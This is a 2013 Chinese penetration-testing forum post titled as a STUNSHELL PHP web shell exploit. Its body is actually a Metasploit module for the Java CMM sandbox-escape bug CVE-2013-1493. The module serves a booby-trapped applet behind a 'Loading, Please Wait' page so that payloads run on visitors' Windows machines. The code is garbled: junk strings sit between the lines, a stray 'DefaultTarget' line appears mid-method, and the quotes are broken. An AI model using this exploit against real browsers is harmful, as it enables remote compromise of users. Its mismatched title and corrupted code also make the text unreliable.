中国网络渗透测试联盟
标题:
STUNSHELL PHP Web Shell远程执行代码
[打印本页]
作者:
admin
时间:
2013-4-4 17:31
标题:
STUNSHELL PHP Web Shell远程执行代码
##
! v" s+ N2 u5 E8 u) E
0 a, o3 o2 D# V$ s% W: I/ e/ R
# This file is part of the Metasploit Framework and may be subject to
& k& b, K& N- [, \+ K
# redistribution and commercial restrictions. Please see the Metasploit
& x: N) d2 M; A6 g0 H `
# web site for more information on licensing and terms of use.
$ H" L8 p# S* F' q) b- [# o
#
http://metasploit.com/
% M M) k. `7 Q! `! F
##
+ d4 }; L0 W0 n7 k) ]3 \
require ‘msf/core’
3 ?# a1 o9 @' T! s, z
require ‘rex’
* s8 F& a. \" Y& V }# \
class Metasploit3 < Msf::Exploit::Remote
2 D* ]: p/ u" w. M/ b
Rank = NormalRanking
5 O% C$ k; c! \; ?( q
include Msf::Exploit::Remote::HttpServer::HTML
6 r% G* W Y/ e! g0 a4 V4 P( k& z
include Msf::Exploit::EXE
* R) T7 Z d9 t5 f4 D
include Msf::Exploit::Remote::BrowserAutopwn
2 ]) E+ a$ d9 x: b
autopwn_info({ :javascript => false })
: P: o' `) ?6 o( i* ^
def initialize( info = {} )
6 ?7 V# m2 D c H8 E, H0 r4 C
super( update_info( info,
0 V/ K# W9 `7 C. u3 Z* k
‘Name’ => ‘Java CMM Remote Code Execution’,
6 r& O/ E: h( Y9 V: d( D/ P) `
‘Description’ => %q{
R n: y- c; S+ { h% s
This module abuses the Color Management classes from a Java Applet to run
$ Q X) G" ~; s
arbitrary Java code outside of the sandbox as exploited in the wild in February
0 ^4 h; {" |$ ~$ c- ~- _) B$ F7 L
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
3 w; J, e' Z0 @; d
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
, O# }. r# O& G
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
" M8 q T, _! r( c
warning in order to run the malicious applet.
`2 t0 @" H6 A: z
},
9 \, ?$ x2 Z2 u) I: D! `
‘License’ => MSF_LICENSE,
E! [0 ]# Y8 h9 r; {
‘Author’ =>
* {, G: H# M W. o ]# N
'Unknown', # Vulnerability discovery and Exploit
: T' o3 A+ @: L4 T @ ~; x) D7 H
'juan vazquez' # Metasploit module (just ported the published exploit)
+ B4 v/ o- c& a& A( q
],
5 e5 b. p! [0 e1 |. X, X2 j
‘References’ =>
4 o W. q% o6 \ M2 q
[
* I* T) G2 R: Z I
[ 'CVE', '2013-1493' ],
7 G4 K6 Z1 b# w- d% ~
[ 'OSVDB', '90737' ],
7 h5 ~; T, U1 {: a- ]! k' N
[ 'BID', '58238' ],
6 @; u v4 U& E5 C5 i9 B7 _
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
& W/ T1 o: z9 n Y% _ u" I
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
) X) z' l5 n- \- T
[ 'URL', 'http://pastie.org/pastes/6581034' ]
% |2 S/ y& n4 s9 w) s
],
7 |: C# z8 `% M
‘Platform’ => [ 'win', 'java' ],
" Q7 |& b+ C/ @. N' a+ Z
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
: H' ~- `8 i1 P. W' k
‘Targets’ =>
# ], @/ P3 A9 k7 }* y/ U
[
5 c7 m- O a2 {6 y2 E9 x( Q
[ 'Generic (Java Payload)',
; T, ]8 N6 e+ m9 V
{
~3 T4 w7 p6 A8 Y+ t9 |
'Platform' => 'java',
5 R t0 X/ c; g4 g% ]$ m. ^/ u
'Arch' => ARCH_JAVA
, h* R( B4 E. A* k; q9 A: G% D
}
0 a Q4 m1 \( w& l3 H4 L8 {
],
, c6 k' [! [1 ]( e, x
[ 'Windows x86 (Native Payload)',
- y' B+ p5 o/ W
{
8 l+ f3 b0 d% L" [4 r0 ]
'Platform' => 'win',
0 o' `; A' k. [# \& I
'Arch' => ARCH_X86
4 Q- E s* A; }! D# |! Y
}
4 l! {& g% q9 m" m
]
9 V9 j; v8 N; N; @, I
],
) Y* d& z; y1 |9 C# R2 w% [
‘‘DisclosureDate’ => ‘Mar 01 2013′
, f( V W5 X# W9 m( f) i
))
2 z4 S$ Z! C$ W9 n# R
end
$ J' o5 V1 H; I5 L/ s3 e
def setup
; C2 M/ v% ]5 G8 z5 D. y
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
8 g: i$ h- s! u% j) ~' n: o$ ]
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
! E6 f& _; \, O9 ?( j/ k0 q
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
* a) r; i! y8 A
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
8 N1 ]1 o/ K" p# a* l
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
' _7 y% h s7 ~# `
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
7 W- p8 m5 [, g4 B: s
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
8 k2 g9 [5 ^- I) y7 w
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
3 R9 P& u& z0 S" e5 }- f
@init_class_name = rand_text_alpha(“Init”.length)
/ D- N3 a& _ J$ U5 n
@init_class.gsub!(“Init”, @init_class_name)
- |* p" }9 C. S6 `) a
super
! y; I) {, |5 Y' q
end
( {) A' n# w9 {8 y7 k0 [9 ]" L' g
def on_request_uri(cli, request)
9 i% r! ?) @4 z: o3 d# G7 t
print_status(“handling request for #{request.uri}”)
6 M% ]7 ~3 t. D
case request.uri
$ ^& i% e& C: l3 n: O" D
when /\.jar$/i
. P8 s" Y+ Y8 [8 G3 ~
jar = payload.encoded_jar
5 A4 ]* o5 r$ k7 v3 j7 t
jar.add_file(“#{@init_class_name}.class”, @init_class)
3 K1 [$ Y9 z, L. g
jar.add_file(“Leak.class”, @leak_class)
5 K& G2 ^- j6 N* p4 c
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
. e8 E. Q: @1 u% _/ ]( h
jar.add_file(“MyColorSpace.class”, @color_space_class)
: r2 B' |) _6 ]
DefaultTarget’ => 1,
7 }. i2 O& M& }3 [, I1 [9 [' |' o
metasploit_str = rand_text_alpha(“metasploit”.length)
5 w8 ] u; b; {5 l$ w
payload_str = rand_text_alpha(“payload”.length)
& H' a/ n0 y" M2 \" X! ]" O2 {6 L5 [
jar.entries.each { |entry|
& R) }5 i8 Y; B/ T' F! T! `
entry.name.gsub!(“metasploit”, metasploit_str)
$ {0 V4 v: V$ A1 Y
entry.name.gsub!(“Payload”, payload_str)
. D5 \" m' U7 m
entry.data = entry.data.gsub(“metasploit”, metasploit_str)
1 s# ^8 S2 i O# F. v2 K0 Y
entry.data = entry.data.gsub(“Payload”, payload_str)
) E! j' j7 t2 g& E1 z0 e
}
' z/ W: S* g3 t6 \
jar.build_manifest
G9 Y) D" L9 I' V8 ~) U
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
% J% \2 S* T5 C- u: _
when /\/$/
- j& m7 s. q8 U2 j- I
payload = regenerate_payload(cli)
* I: [( y S0 e' [
if not payload
! K3 L4 J& N' x" h0 X1 V
print_error(“Failed to generate the payload.”)
2 D# X: `+ T; P! O/ C
send_not_found(cli)
: y/ c0 l- W2 G9 \; l( l
return
8 x. a. F v% v, i1 y$ I
end
" K9 }6 S; a/ \) q1 G8 Z \, V
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
" X. W5 n$ e/ L$ o6 m" W. O1 h
else
& A4 m, ^; a- Q j
send_redirect(cli, get_resource() + ‘/’, ”)
& s5 r9 P2 \: Z! L0 y0 X1 {
end
2 f' n$ m+ S) |& t* Q3 m6 u
end
3 T1 C) n/ ~8 |- I8 o j$ c
def generate_html
3 X$ f- k* i- c7 G" |
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
) O, S" B% p5 S( b4 H
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|
! H7 U4 E" ^* _) j5 R& ^
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
G* p, b, }3 W6 ~- \8 y0 j
html += %Q|</applet></body></html>|
. L8 B- p) i0 L& e" K- t8 J' y. E! ~
return html
+ I0 y% m4 G1 ^, P* N
end
( Y2 V' o7 d8 {6 i" Q
end
- A% P$ q; s, _4 J
end
" v& j/ `% d# c1 O" ?9 }7 `' Q
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2